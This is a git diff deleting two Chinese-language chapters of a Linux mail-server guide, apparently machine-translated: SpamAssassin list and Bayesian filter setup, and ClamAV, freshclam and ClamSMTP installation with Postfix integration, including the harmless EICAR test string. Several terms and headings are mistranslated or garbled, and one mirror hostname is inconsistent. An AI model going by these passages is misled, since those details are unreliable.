这对于过滤垃圾邮件更有用。 - -手动白名单和黑名单涉及到在全局配置文件 `/etc/mail/spamassassin/local.cf`和/或 `~/.spamassassin/user_prefs`中添加配置指令。 - -白名单表项支持 `?`字符匹配,黑名单表项支持 `*`字符匹配,白名单表项支持单个字符匹配,黑名单表项支持多个字符匹配。 因此,如果白名单条目为 `*@domain.com`,则 `joe@domain.com`和 `bill@domain.com`都匹配。 对于读 `*@yahoo?.com, joe@yahoo1.com`和 `bill@yahoo2.com`会匹配,但 `billy@yahoo22.com`不匹配的条目。 `*@yahoo*.com`将匹配所有三个例子。 - -白名单和黑名单规则不会立即导致电子邮件被标记为垃圾邮件或垃圾邮件,即使分数的权重很高。 `USER_IN_WHITELIST`规则的默认评分为 `-100.0`。 从技术上讲,电子邮件可能匹配白名单条目,但仍然触发足够多的其他测试,从而将其标记为垃圾邮件。 尽管在实践中,这不大可能发生,除非分数从默认值更改。 - -要将一个电子邮件地址或整个域列入黑名单,请使用 `blacklist_from`指令。 - -```sh -blacklist_from user@spammer.com -blacklist_from *@spamdomain.com - -``` - -要将电子邮件地址或域列入白名单,请使用 `whitelist_from`指令。 - -```sh -whitelist_from user@mycompany.com -whitelist_from *@mytradingpartner.com - -``` - -SpamAssassin 有更复杂的规则来管理白名单和黑名单,以及自动白名单/黑名单。 黑名单和白名单都可以指定为离散的项目 `(blacklist joe@domain.com`和 `bill@another.com)`,也可以指定为通配符(将每个 `joe`列入黑名单,将 `domain.com`中的每个人列入黑名单)。 通配符特别强大,应该小心确保合法电子邮件不会被拒绝。 - -## 贝叶斯过滤 - -它使用一种统计技术,根据以前的这两种类型的电子邮件来确定电子邮件是否是垃圾邮件。 在它工作之前,需要使用已知的垃圾电子邮件和已知的非垃圾电子邮件对其进行培训。 正确地对电子邮件进行分类是很重要的,否则过滤器的有效性将会降低。 学习过程是在电子邮件服务器上完成的,示例电子邮件应该存储在一个可访问的位置。 - -`sa-learn`命令用于使用已知的垃圾邮件或垃圾邮件训练 Bayesian 过滤器。 SpamAssassin 安装例程将在路径中放置 `sa-learn`,通常在 `/usr/bin/sa-learn`中。 - -它在命令行中使用,并传递一个目录、文件或一系列文件。 要做到这一点,电子邮件必须存储在服务器上,或者以合适的格式从客户端导出。 SpamAssassin 可以识别 `mbox`格式,而且许多电子邮件客户机都使用一种兼容的格式。 要使用 `sa-learn`,可以将一个目录或一系列目录传递给命令: - -```sh -$ sa-learn --ham ~/.maildir/.Trash/cur/ ~/.maildir/cur - -``` - -```sh -Learned from 75 message(s) (175 message(s) examined). - -``` - -如果使用了 `mbox`格式,则应该使用 `mbox`标志,以便 SpamAssassin 在文件中搜索多个电子邮件。 - -```sh -$ sa-learn -mbox --spam ~/mbox/spam ~/mbox/bad-spam - -``` - -```sh -Learned from 75 message(s) (175 message(s) examined). - -``` - -如果 SpamAssassin 已经从电子邮件中获得了信息,那么 `sa-learn`会检测到这一点,并且不会处理两次。 在上面的例子中,175 封电子邮件中的 100 封已经被处理,在这次运行中被忽略了。 剩下的 75 封邮件之前没有处理过。 - -如果 `sa-learn`传递了许多消息,可能会有一段时间没有反馈。 在处理电子邮件时, `--showdots`标志以点(.)的形式提供反馈。 - -```sh -$ sa-learn --spam --showdots ~/.SPAM/cur ~/.SPAM/new -......................... - -``` - -```sh -Learned from 20 message(s) (25 message(s) examined). - -``` - -一旦 SpamAssassin 掌握了足够多的电子邮件,它将开始自动使用贝叶斯过滤器。 它可以通过使用自动学习功能来保持最新。 - -自动学习不应该在没有额外用户输入的情况下使用。 这样做有两个原因。 - -* SpamAssassin 偶尔会错误地进行垃圾邮件检测,因此可以将垃圾邮件作为非垃圾邮件的一个例子来学习。 自动学习会混淆贝叶斯滤波器,降低其有效性。 -* 电子邮件自动学习的分数阈值高于检测为垃圾邮件的分数阈值。 换句话说,电子邮件可能被检测为垃圾邮件,但不是自动学习的。 在本例中,SpamAssassin 的其余部分在检测边界垃圾邮件(那些得分接近垃圾邮件阈值的垃圾邮件)方面做得相当好,但是 Bayesian 过滤器没有被告知电子邮件。 - -要使用自动学习,请将 `bayes_auto_learn`标志设置为 `1`。 这可以在站点范围内的 `/etc/mail/spamassassin/local.cf`文件中配置,也可以在用户的 `~/.spamassassin/user_prefs`文件中覆盖。 另外两个配置标志也会影响自动学习,它们是学习 ham 和 spam 的阈值。 这些值的单位与 SpamAssassin 对每封电子邮件的得分相同。 - -```sh -bayes_auto_learn 1 -bayes_auto_learn_threshold_nonspam 0.1 -bayes_auto_learn_threshold_spam 12.0 - -``` - -当启用自动学习时,任何分配的分数小于 `bayes_auto_learn_threshold_nonspam`的电子邮件都被学习为 ham。 任何分配值大于 `bayes_auto_learn_threshold_spam`的电子邮件都被视为垃圾邮件。 - -建议将 `bayes_auto_learn_threshold_nonspam`阈值设置为较低(接近或低于零)。 这将避免将逃避检测的垃圾邮件用作训练贝叶斯过滤器的示例。 保持 `bayes_auto_learn_threshold_spam`阈值高在某种程度上是一个选择问题; 然而,它应该高于过去被错误归类为垃圾邮件的任何电子邮件的分数。 对于默认垃圾邮件阈值 `5`,这可能发生在 `10`得分之前。 因此,对垃圾邮件使用小于 `10`的自动学习阈值可能会导致非垃圾邮件意外地被学习为垃圾邮件。 如果发生这种情况,贝叶斯数据库将开始失去效力,未来的贝叶斯结果将受到影响。 - -SpamAssassin 将 Bayesian 数据库保存在用户主目录中的 `.spamassassin`目录中的三个文件中。 使用的格式通常是 Berkeley DB 格式,文件命名如下: - -```sh -bayes_journal -bayes_seen -bayes_toks - -``` - -`bayes_journal`文件用作临时存储区域。 有时它并不存在。 这个文件通常比较小,大约为 10 KB。 `bayes_seen`和 `bayes_toks`文件的大小可以分别为几兆字节。 - -# SpamAssassin 的其他功能 - -本章只是触及了 SpamAssassin 能力的表面。 如果垃圾邮件是一个组织的问题,SpamAssassin 将奖励进一步的研究。 它包含的其他一些特性如下: - -* **网络测试:**SpamAssassin 可以与 Open Relay 数据库集成。 (3。 X 发行版包含超过 30 个数据库的测试,尽管在默认情况下并不是所有数据库都是启用的。) 开路继电器测试不需要快速的机器或大量 RAM,因此使用起来相对便宜。 他们有相当成功的检出率。 -* **外部内容数据库:**SpamAssassin 可以与外部内容数据库集成。 这些工作在一个参与网络中进行。 所有参与者将他们收到的所有电子邮件的详细信息发送到中央服务器。 如果电子邮件之前已经发送过多次,那么该电子邮件可能是已经发送给许多用户的垃圾邮件。 这些服务的设计是为了不发送机密数据。 -* **白名单和黑名单:**SpamAssassin 包含一个自动白名单和黑名单,其工作方式类似于前面描述的手动列表。 这对于防止常规通信者的电子邮件被错误地检测为垃圾邮件特别有效。 -* **创建新规则:**可以编写和开发新规则。 创建规则并不是特别困难,只要有一点想象力和合适的垃圾邮件来源。 系统管理员可以通过缺省的 SpamAssassin 规则清除无法检测到的任何持久垃圾邮件。 -* **可自定义标题:**SpamAssassin 添加到电子邮件中的标题可以自定义,并且可以写入新的标题。 SpamAssassin 还将尝试检测病毒和木马软件,并将一个电子邮件地址封装在一个特殊的信封电子邮件中。 -* **多个安装:**SpamAssassin 可以安装在多台机器上,服务于一个或多个电子邮件服务器。 在大量电子邮件系统中,可能会运行许多垃圾邮件服务器,每个服务器只处理垃圾邮件。 这将导致高吞吐量、高可用性服务。 -* **可自定义的规则得分:**SpamAssassin 包含一些工具,可以根据组织收到的垃圾邮件和合法电子邮件的样本来定制规则得分。 这有助于提高过滤速率。 在 spamassassin 3.0 中,这些工具得到了显著的改进,执行此操作的过程比在早期版本中花费的时间要少得多。 - -# 总结 - -在本章中,您已经看到了如何获取和安装 SpamAssassin。 本文介绍了使用 SpamAssassin 的三种不同方法,并建议针对特定安装选择哪种选项。 - -还介绍了流行的电子邮件客户机的配置,即 Microsoft Outlook、Microsoft Outlook Express 和 Mozilla Thunderbird。 \ No newline at end of file diff --git a/docs/linux-email/09.md b/docs/linux-email/09.md deleted file mode 100644 index 7b54c0eb..00000000 --- a/docs/linux-email/09.md +++ /dev/null @@ -1,882 +0,0 @@ -# 九、防病毒保护 - -通常认为 Linux 不容易受到病毒的攻击,所以为什么要安装反病毒解决方案呢? 虽然 Linux 的病毒确实很少,但其主要目的不是保护邮件服务器免受感染,而是减少或消除对收件人的任何风险。 您的组织可能有运行 Windows 的客户机 pc 容易感染病毒,或者您可能会收到一封满载病毒的电子邮件,您可以将其转发给客户或业务合作伙伴。 - -Procmail 过滤的众多选项之一是从电子邮件中删除可执行附件,以保护您的系统免受可能的病毒攻击。 这充其量是一次粗糙的操作; 在最坏的情况下,它将删除不包含病毒的文件,并可能留下其他受感染的文件,如脚本,不是可执行文件。 - -也可以在客户端扫描电子邮件。 但在公司环境中,并不总是可能依赖于每个人的机器都是最新的,并正确安装了合适的病毒检查软件。 显而易见的解决方案是在服务器上运行一个高效的进程,以确保组织发送或接收的所有电子邮件都正确地扫描了病毒。 - -对于基于 linux 的系统,有许多可用的反病毒解决方案。 我们选择专注于 Clam AntiVirus,通常被称为 ClamAV。 这是一个开源软件,定期更新病毒数据库,以便在下载前进行检查。 - -在本章中,我们将学习: - -* 包含 ClamAV 可以检测到的病毒的文档类型 -* 安装和配置用于检测病毒的 ClamAV 组件 -* 建立程序来维护最新的防病毒数据库 -* 将 ClamAV 与 Postfix 集成,以扫描所有传入的电子邮件消息和附件 -* 使用包含测试病毒签名的样本文件和使用测试电子邮件 bourne 病毒广泛测试我们的安装 -* 将每个 ClamAV 组件添加到我们的系统启动和关闭过程中 - -# ClamAV 简介 - -Clam AntiVirus 是一个针对 Linux、Windows 和 Mac OS x 的开源防病毒工具包。ClamAV 的主要设计特性是将其与邮件服务器集成,以执行附件扫描并帮助过滤已知病毒。 这个包提供了一个灵活的、可伸缩的多线程守护进程(`clamd`)、一个命令行扫描器(`clamscan`)和一个通过 Internet 自动更新的工具(`freshclam`)。 这些程序基于一个共享库 `libclamav`,与 Clam AntiVirus 包一起发布,你也可以在自己的软件中使用这个包。 - -在本章中,我们将使用的 ClamAV 版本是最新的稳定版本 0.95.2,它具有最新的病毒数据库和特征,能够检测超过 580,000 个病毒、蠕虫和木马,包括 Microsoft Office 宏病毒、移动恶意软件和其他威胁。 虽然本书没有介绍,但它也能够在 Linux 下执行实时扫描,并将其安装到 Linux 内核中。 - -# 支持文档类型 - -多种文档类型都可能包含或传播病毒,ClamAV 提供了针对大多数病毒的保护: - -* **ELF**(**可执行和链接格式)**UNIX 和类 UNIX 操作系统(如 Linux、Solaris 和 OpenBSD)使用的文件。 -* **便携式可执行**(**PE**)文件(32/64 位),使用 UPX、FSG、Petite、WWPack32 压缩,使用 SUE、Yoda’s Cryptor 等进行混淆。 这是 Microsoft Windows 可执行文件的标准格式,也是病毒最常见的传输方式之一。 -* 许多形式的 Microsoft 文档都可以包含脚本或可执行文件。 ClamAV 可以处理以下文件和档案类型: - * MS OLE2 - * 女士内阁文件 - * MS CHM(压缩 HTML) - * m SZDD - * MS Office Word 和 Excel 文档 -* 支持其他特殊文件和格式包括: - * 超文本标记语言 - * RTF - * PDF - * 用 CryptFF 和 screc 加密的文件 - * 一种编码的程式 - * TNEF (winmail.dat) -* 其他可能包含任何形式的文档且 ClamAV 可以处理的常见归档格式包括: - * RAR (2.0) - * 邮政编码 - * gzip - * bzip2 - * tar - * BinHex - * SIS (SymbianOS 包) - * AutoIt - -档案的扫描还包括档案中持有的支持文档格式的扫描。 - -# 下载安装 ClamAV - -由于几乎每天都能发现病毒,所以安装最新稳定版本的 ClamAV 软件是非常值得的。 如果您的系统已经安装了 ClamAV,那么安装可能是基于过期的安装包。 强烈建议您从 ClamAV 网站下载并安装最新版本,以确保对系统病毒的最高级别安全。 - -## 添加新的系统用户和组 - -您必须向系统添加一个新用户和组,以便 ClamAV 系统使用。 - -```sh -# groupadd clamav -# useradd -g clamav -s /bin/false -c "Clam AntiVirus" clamav - -``` - -## 从包中安装 - -ClamAV 有很多安装包,详细信息可以在 ClamAV 网站[http://www.clamav.net/download/packages/packages-linux 上找到。](http://www.clamav.net/download/packages/packages-linux.) - -### 注意事项 - -由于许可限制,大多数二进制包没有内置 RAR 支持。 因此,我们建议您从头安装 ClamAV,直到解决任何许可问题为止。 - -如果您使用的是基于 Red hat 的系统,安装可能使用以下选项之一执行,这取决于您安装的发行版: - -```sh -# yum update clamav - -``` - -或 - -```sh -# up2date -u clamav - -``` - -如果您使用的是基于 debian 的系统,可以使用以下命令执行安装: - -```sh -# apt-get install clamav clamav-daemon clamav-freshclam - -``` - -### 注意事项 - -确保您安装的是 0.95.2 或更高版本,因为与以前的版本相比,它有显著的增强。 通常,您应该始终安装可用的最新稳定版本。 - -## 从源代码安装 - -从原始源代码安装 ClamAV 并不是很困难,它使您能够运行您想要的任何版本,而不仅仅是您的 Linux 发行版的包维护人员选择的版本。 ClamAV 源代码可以从主要的 ClamAV 网站([http://www.clamav.net/download/sources](http://www.clamav.net/download/sources))上的多个镜像下载。 - -### 要求 - -编译 ClamAV 需要以下元素: - -* Zlib 和 Zlib -devel 包 -* gcc 编译器套件 - -以下软件包是可选的,但强烈推荐: - -* Bzip2 和 Bzip2 -devel 库 -* UnRAR 握手 - -### 建设和安装 - -一旦您下载并解压缩了归档文件, `cd`到目录,例如 `clamav-0.95.2`。 在开始构建和安装软件之前,很有必要阅读一下 `INSTALL`和 `README`文档。 - -对于大多数 Linux 系统,可以通过以下步骤减少最简单的安装方法: - -1. 运行 `configure`实用程序,通过运行 `configure`命令来创建正确的构建环境: - - ```sh - $ ./configure --sysconfdir=/etc - - ``` - -2. 配置脚本完成后,可以运行 `make`命令构建软件可执行文件。 - - ```sh - $ make - - ``` - -3. 最后一步,也就是 `root`,是将可执行文件复制到系统上进行操作的正确位置。 - - ```sh - # make install - - ``` - -在最后一步中,将软件安装到 `/usr/local`目录中,并将配置文件安装到 `/etc`中,如图所示,配置文件由`—sysconfdir`选项指定。 - -在所有阶段,您都应该检查流程输出是否有任何重大错误或警告。 - -与从源代码构建的所有包一样,在完成本章中的构建、安装和测试步骤后,您可能希望删除未打包的归档文件。 - -### 快速测试 - -我们可以通过尝试以下测试来递归扫描源目录中的示例测试病毒文件来验证软件是否正确安装: - -### 注意事项 - -所提供的测试病毒文件不包含真正的病毒,是无害的。 它们包含一个业界认可的病毒签名,专门为测试目的而设计。 - -```sh -$ clamscan -r -l scan.txt clamav-x.yz/test - -``` - -它应该在 `clamav-x.yz/test`目录中找到一些测试文件。 扫描结果将保存在 `scan.txt`日志文件中。 检查日志文件,特别注意任何提示尚未编译特定文件或存档格式的警告。 日志文件的尾部应该包含类似以下内容的摘要: - -![Quick test](img/8648_09_01.jpg) - -# 编辑配置文件 - -软件安装完成后,需要编辑两个配置文件。 第一个文件 `/etc/clamd.conf`用于实际的病毒扫描软件。 这个文件的大多数重要配置选项将在下面几节中讨论。 第二个配置文件 `/etc/freshclam.conf`将在本章后面介绍。 这就是我们为自动病毒数据库更新添加配置选项的地方。 - -## 【小题 0 - -您必须编辑配置文件才能使用这个守护进程,否则 `clamd`将无法运行。 - -```sh -$ clamd - -``` - -```sh -ERROR: Please edit the example config file /etc/clamd.conf. - -``` - -这将显示默认配置文件的位置。 该文件的格式和选项在 `clamd.conf(5)`手册中有详细描述。 文件注释很好,配置应该很简单。 - -### 检查示例配置文件 - -所提供的示例 `config`文件有很好的文档说明,每个重要的配置值都有注释。 以下是一些您可能希望修改的关键值: - -```sh -## -## Example config file for the Clam AV daemon -## Please read the clamd.conf(5) manual before editing this file. -## -# Comment or remove the line below. -#Example - -``` - -`Example`行将导致程序因配置错误而停止,它是故意包含的,目的是强迫您在软件正常运行之前编辑文件。 在行开头放置一个 `#`将足以在您完成文件编辑后解决这个问题。 - -```sh -# Uncomment this option to enable logging. -# LogFile must be writable for the user running daemon. -# A full path is required. -# Default: disabled -LogFile /var/log/clamav/clamd.log - -``` - -最好设置一个日志文件,使您能够在操作的头几周检查错误并监视正确的操作。 然后,您可以决定是停止日志记录还是让它继续运行。 - -```sh -# Log time with each message. -# Default: disabled -LogTime yes - -``` - -在日志文件中启用时间戳确保您可以跟踪所记录的事件的时间,以帮助调试问题并将事件匹配到其他日志文件中的条目。 - -```sh -# Path to the database directory. -# Default: hardcoded (depends on installation options) -#DatabaseDirectory /var/lib/clamav -DatabaseDirectory /usr/local/share/clamav - -``` - -确保正确配置数据库目录,以便知道病毒签名信息的确切存储位置。 安装过程将创建文件 `main.cvd`,也可能创建文件 `daily.cld`,作为包含病毒签名的数据库文件。 - -```sh -# The daemon works in a local OR a network mode. Due to security # reasons we recommend the local mode. -# Path to a local socket file the daemon will listen on. -# Default: disabled -LocalSocket /var/run/clamav/clamd.sock - -``` - -使用本地模式是一项重要的配置更改,它是确保安装 ClamAV 的系统的安全性所必需的。 - -```sh -# This option allows you to save a process identifier of the listening -# daemon (main thread). -# Default: disabled -PidFile /var/run/clamav/clamd.pid - -``` - -这对于启动和停止脚本非常有用。 如前面的示例所示,ClamAV 目录必须是可写的。 - -```sh -# TCP address. -# By default we bind to INADDR_ANY, probably not wise. -# Enable the following to provide some degree of protection -# from the outside world. -# Default: disabled -TCPAddr 127.0.0.1 - -``` - -这是另一个与安全相关的配置项,以确保只有本地进程可以访问服务。 - -```sh -# Execute a command when virus is found. In the command string %v # will -# be replaced by a virus name. -# Default: disabled -#VirusEvent /usr/local/bin/send_sms 123456789 "VIRUS ALERT: %v" - -``` - -在某些情况下,这可能是一个有用的特性。 然而,由于病毒传递的范围和频率很广,在夜间或白天传递消息可能会被证明是一种严重的烦恼。 - -```sh -# Run as a selected user (clamd must be started by root). -# Default: disabled -User clamav - -``` - -通过为 ClamAV 创建一个用户,我们可以将文件和进程的所有权分配给这个用户 ID,并通过限制对该用户 ID 的访问来帮助提高文件的安全性。 此外,当系统上列出正在运行的进程时,很容易识别那些属于 ClamAV 系统的进程。 - -## freshclam - -您必须编辑配置文件,否则 `freshclam`将无法运行。 - -```sh -$ freshclam - -``` - -```sh -ERROR: Please edit the example config file /etc/freshclam.conf - -``` - -源发行版中还包括一个示例 `freshclam`配置文件。 如果您需要更多关于配置选项和格式的信息,您应该参考*freshclam.conf(5)*手册页面。 - -### 最近的镜子 - -因特网上有许多镜像服务器,您可以从那里下载最新的防病毒数据库。 为了避免任何一台服务器超载,应该设置配置文件,以确保从最近的可用服务器获取下载。 包含的 `update`实用程序利用 DNS 系统根据您所请求的国家代码来定位合适的服务器。 - -需要修改的配置文件项为 `DatabaseMirror`。 您还可以指定参数 `MaxAttempts`—从服务器下载数据库的次数。 - -默认的数据库镜像是 `clamav.database.net`,但是您可以在配置文件中应用多个条目。 配置条目应该使用格式 `db.xx.clamav.net`,其中 `xx`表示您的标准 ISO 国家代码的两个字母。 例如,如果您的服务器在美国,您应该将以下几行添加到 `freshclam.conf`。 两个字母的国家代码的完整列表可以在[http://www.iana.org/cctld/cctld-whois.htm](http://www.iana.org/cctld/cctld-whois.htm)上找到。 - -```sh -DatabaseMirror db.us.clamav.net -DatabaseMirror db.local.clamav.net - -``` - -如果连接到第一个条目的任何原因失败,将尝试从第二个镜像条目下载。 您不应该只使用默认条目,因为它可能导致您的服务器或 IP 地址因过载而被 ClamAV 数据库管理员列入黑名单,并且您可能根本无法获得任何更新。 - -### 检查示例配置文件 - -所提供的示例 `config`文件有很好的文档说明,每个重要的配置值都有注释。 以下是一些您可能希望修改的关键值: - -```sh -## -## Example config file for freshclam -## Please read the freshclam.conf(5) manual before editing this file. -## This file may be optionally merged with clamd.conf. -## -# Comment or remove the line below. -#Example - -``` - -确保这一行被注释以允许守护进程操作。 - -```sh -# Path to the log file (make sure it has proper permissions) -# Default: disabled -UpdateLogFile /var/log/clamav/freshclam.log - -``` - -启用日志文件对于跟踪正在应用的正在进行的更新和在早期测试阶段监视系统的正确操作非常有用。 - -```sh -# Enable verbose logging. -# Default: disabled -LogVerbose - -``` - -前一个选项允许在更新日志文件中包含更详细的错误消息。 - -```sh -# Use DNS to verify virus database version. Freshclam uses DNS TXT # records to verify database and software versions. We highly # recommend enabling this option. -# Default: disabled -DNSDatabaseInfo current.cvd.clamav.net -# Uncomment the following line and replace XY with your country -# code. See http://www.iana.org/cctld/cctld-whois.htm for the full # list. -# Default: There is no default, which results in an error when running freshclam -DatabaseMirror db.us.clamav.net - -``` - -这是一个重要的配置,可以减少网络流量开销,并确保从地理位置较近的服务器获取更新。 - -```sh -# database.clamav.net is a round-robin record which points to our # most -# reliable mirrors. It's used as a fall back in case db.XY.clamav.net -# is not working. DO NOT TOUCH the following line unless you know -# what you are doing. -DatabaseMirror database.clamav.net - -``` - -就像指令说的——不要管这一行。 - -```sh -# Number of database checks per day. -# Default: 12 (every two hours) -Checks 24 - -``` - -对于繁忙的服务器和大量的流量,值得以更频繁的间隔更新病毒数据库。 然而,这仅适用于运行版本为 0.8 或更高版本的 ClamAV 软件的系统。 - -```sh -# Run command after successful database update. -# Default: disabled -#OnUpdateExecute command -# Run command when database update process fails.. -# Default: disabled -#OnErrorExecute command - -``` - -为了帮助监视配置文件的更新,您刚才看到的选项可以在更新是否正确发生时应用适当的操作。 - -## 文件权限 - -按照前面的建议, `clamd`将作为 `clamav`用户运行,默认情况下,在启动时, `freshclam`将放弃特权并切换到 `clamav`用户。 因此,在前面的示例中看到的配置文件中指定的套接字、PID 和日志文件的所有权应该使用以下命令来设置,以允许正确的访问: - -```sh -# mkdir /var/log/clamav /var/run/clamav -# chown clamav:clamav /var/log/clamav /var/run/clamav - -``` - -运行 `freshclam`和 `clamd`的用户可以在 `freshclam.conf`和 `clamd.conf`中更改。 但是,如果更改这些参数,则应该验证 ClamAV 进程是否能够访问病毒定义数据库。 - -# 安装后测试 - -现在我们已经安装了 ClamAV 的主要组件,我们可以验证每个组件的正确操作。 - -* `clamscan`-命令行扫描器 -* `clamd`- ClamAV 守护进程 -* `freshclam`-病毒定义更新程序 - -对于这些测试,我们需要一个病毒或者至少一个看起来像病毒的非破坏性文件。 - -## EICAR 测试病毒 - -许多反病毒研究人员已经合作产生了一个文件,他们的(和许多其他)产品检测出它是一个病毒。 对于用户而言,就这样一个文件达成一致简化了问题。 - -该测试文件称为**EICAR**(**european Institute for Computer Anti-virus Research)标准反病毒测试文件**。 该文件本身不是病毒,它根本不包含任何程序代码,因此可以安全地传递给其他人。 然而,大多数反病毒产品会对文件作出反应,就好像它真的是一个病毒,这可以使它是一个相当棘手的文件操作或通过电子邮件发送,如果您或收件人有良好的防病毒系统到位。 - -该文件是一个完全由可打印 ASCII 字符组成的文本文件,因此可以很容易地用常规文本编辑器创建它。 任何支持 EICAR 测试文件的防病毒产品都应该在任何以以下 68 个字符开头的文件中检测到它: - -```sh -X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* - -``` - -当您创建这个文件时,您应该注意以下事实。 该文件只使用大写字母、数字和标点符号,不包括空格。 在重新创建该文件时,可能会出现一些常见错误。 这包括确保第三个字符是大写字母 `O`,而不是数字零(0),并且所有 68 个字符都是一行,必须是文件的第一行。 - -有关 EICAR 防病毒测试文件的更多信息,请访问[http://www.eicar.org/anti_virus_test_file.htm](http://www.eicar.org/anti_virus_test_file.htm)。 - -## 测试 clamscan - -我们需要运行的第一个测试是确保安装了病毒扫描程序,并正确配置并包含了病毒定义数据库。 病毒数据库作为安装过程的一部分提供。 - -最简单的方法是在服务器上创建一个 EICAR 测试文件的副本,然后运行 `clamscan`程序。 我们正在使用`—i`标志,以便只显示受感染的文件。 你应该得到这样的输出: - -![Testing clamscan](img/8648_09_02.jpg) - -请注意关于过期病毒数据库的警告。 这是正常的,将在 `freshclam`测试期间纠正。 - -## 测试粘性 - -通过使用 `clamdscan`程序,我们可以再次扫描测试文件,但这是通过指示 `clamd`进程进行扫描来完成的。 这是一个非常好的测试,可以确保 `clamd`守护进程正在运行。 - -预期的输出应该如下所示: - -```sh -$ clamdscan testvirus.txt - -``` - -```sh -/home/ian/testvirus.txt: Eicar-Test-Signature FOUND ------------ SCAN SUMMARY ----------- -Infected files: 1 -Time: 0.000 sec (0 m 0 s) - -``` - -如果没有运行 clamd 守护进程,可以使用 `# clamd`命令启动它。 - -您还应该检查 `clamd`日志文件(如 `clamd.conf`中配置的),查看在运行此测试之后是否有任何意外的错误或警告。 - -## 测试鲜蛤 - -使用 `freshclam`程序,我们可以交互式地用最新的定义更新病毒数据库。 这个测试将只更新一次数据库。 稍后我们将看到如何执行自动更新。 使用下面的命令(作为超级用户),我们希望输出类似如下: - -![Testing freshclam](img/8648_09_03.jpg) - -从输出中,我们可以看到更新过程成功地下载了两个差异更新,在第三个更新中由于网络问题而失败。 下载最新数据库和当前数据库之间的差异有助于减少网络流量和服务器负载。 在这种情况下, `freshclam`检测到故障,并下载了最新的每日更新,以使病毒数据库更新并增加病毒签名的数量。 - -现在,如果再次运行 `clamscan`测试,您将注意到不再显示过时警告。 - -在运行此测试之后,您还应该检查 `freshclam`日志文件是否包含类似于前面代码的输出。 - -# ClamSMTP 简介 - -为了扫描所有通过服务器的电子邮件,Postfix 和 ClamAV 之间需要一个软件接口。 我们将要使用的接口是**ClamSMTP**。 以下来自 ClamSMTP 站点([http://memberwebs.com/stef/software/clamsmtp/](http://memberwebs.com/stef/software/clamsmtp/))的介绍将 SMTP 病毒过滤器描述为: - -> ClamSMTP 是一个 SMTP 过滤器,允许您使用 ClamAV 杀毒软件检查病毒。 它接受 SMTP 连接并转发 SMTP 命令并响应另一个 SMTP 服务器。 在转发之前,“DATA”邮件主体会被拦截和扫描。 ClamSMTP 的目标是轻量级、可靠和简单,而不是有无数的选项。 它是用 C 编写的,没有主要依赖项。 - -Postfix 的设计目的是允许调用外部过滤器来处理邮件消息,并将处理过的数据返回到 Postfix 以便后续交付。 ClamSMTP 被设计为直接在 Postfix 和 ClamAV 之间工作,以确保高效操作。 - -一些 Linux 发行版可能维护了 ClamSMTP 的包,可以通过相关的包管理器安装这些包。 但是,您仍然应该完成下面的说明,以便配置和将 ClamSMTP 集成到 Postfix 中。 - -可以从[http://memberwebs.com/stef/software/clamsmtp/](http://memberwebs.com/stef/software/clamsmtp/)下载最新的源代码,使用 `wget`命令直接下载到您的 Linux 系统上。 更改到一个合适的位置来下载和构建软件。 当前版本(1.10)的命令选项是 `wget `。 - -```sh -$ wget http://memberwebs.com/stef/software/clamsmtp/clamsmtp-1.10.tar.gz - -``` - -你应该在网站上查看可以下载的最新版本。 下载文件后,使用 `tar`命令解包文件内容。 - -```sh -$ tar xvfz clamsmtp-1.10.tar.gz - -``` - -这将创建一个包含当前目录下所有相关文件的目录结构。 - -## 建设和安装 - -在构建和安装软件之前,很有必要阅读一下 `INSTALL`和 `README`文档。 - -对于大多数 Linux 系统,最简单的安装方法如下: - -1. 运行 `configure`实用程序,通过运行 `configure`命令创建正确的构建环境。 - - ```sh - $ ./configure --sysconfdir=/etc - - ``` - -2. 配置脚本完成后,可以运行 `make`命令构建软件可执行文件: - - ```sh - $ make - - ``` - -3. 最后一步,也就是 `root`,是将可执行文件复制到正确的位置以便在系统上进行操作: - - ```sh - # make install - - ``` - -最后一步,将软件安装到 `/usr/local`目录,将配置文件安装到 `/etc`目录。 - -在所有阶段,您都应该检查流程输出是否有任何重大错误或警告。 - -## 配置后缀 - -Postfix 通过通过外部进程传递邮件项来支持邮件过滤。 此操作既可以在邮件排队之前执行,也可以在邮件排队之后执行。 Postfix 和 `clamsmtp`之间通信的工作方式是假装 `clamsmtp`本身是一个 SMTP 服务器。 这种简单的方法提供了一种创建分布式架构的简单方法,在这种架构中,不同的进程可以在不同的机器上工作,从而在非常繁忙的网络中分散负载。 对于我们的使用,我们将假设只使用一台机器,所有软件都运行在这台机器上。 - -过滤器接口是专门为在 ClamAV 和 Postfix 邮件系统之间提供接口而设计的。 该过滤器实现为后队列过滤器,用于防病毒扫描。 - -第一个配置选项需要在 Postfix `main.cf`文件中添加行: - -```sh -content_filter = scan:127.0.0.1:10025 -receive_override_options = no_address_mappings - -``` - -`content_filter`指令强制 Postfix 通过端口 `10025`上名为 `scan`的服务发送所有邮件。 扫描服务将是我们使用 `clamsmtpd`设置的服务。 `receive_override_options`的指令将 Postfix 配置为执行 `no_address_mappings`。 这防止 Postfix 扩展任何电子邮件别名或组,否则将导致收到重复的电子邮件。 - -需要对 Postfix `master.cf`文件进行第二个配置更改。 - -```sh -# AV scan filter (used by content_filter) -scan unix - - n - 16 smtp --o smtp_send_xforward_command=yes --o smtp_enforce_tls=no -# For injecting mail back into postfix from the filter -127.0.0.1:10026 inet n - n - 16 smtpd --o content_filter= --o receive_override_options=no_unknown_recipient_checks,no_header_body_checks --o smtpd_helo_restrictions= --o smtpd_client_restrictions= --o smtpd_sender_restrictions= --o smtpd_recipient_restrictions=permit_mynetworks,reject --o mynetworks_style=host --o smtpd_authorized_xforward_hosts=127.0.0.0/8 - -``` - -### 注意事项 - -文件的格式非常重要。 您应该确保在添加的文本中, `=`(等号)或`(逗号)周围没有空格。` - - `前两行执行 `scan`服务的实际创建。 其余的行设置了一个服务,用于将邮件接收回 Postfix 以便交付。 其余选项用于防止邮件循环的发生和放松地址检查。 完成这些更改后,需要使用以下命令使 Postfix 重新读取修改的配置文件: - -```sh -# postfix reload - -``` - -## 配置 clamSMTP - -您必须创建配置文件 `/etc/clamsmtpd.conf`,否则 `clamsmtpd`将无法运行: - -```sh -$ clamsmtpd -clamsmtpd: configuration file not found: /etc/clamsmtpd.conf - -``` - -源发行版 `doc`目录中包含一个示例 `clamsmtp.conf`配置文件。 在 `clamsmtp`软件正确操作之前,需要将其复制到正确的位置并进行编辑。 - -```sh -# cp clamsmtpd.conf /etc/clamsmtpd.conf - -``` - -该文件的格式和选项在 `clamsmtpd.conf(5)`手册中有详细描述。 - -### 检查示例配置文件 - 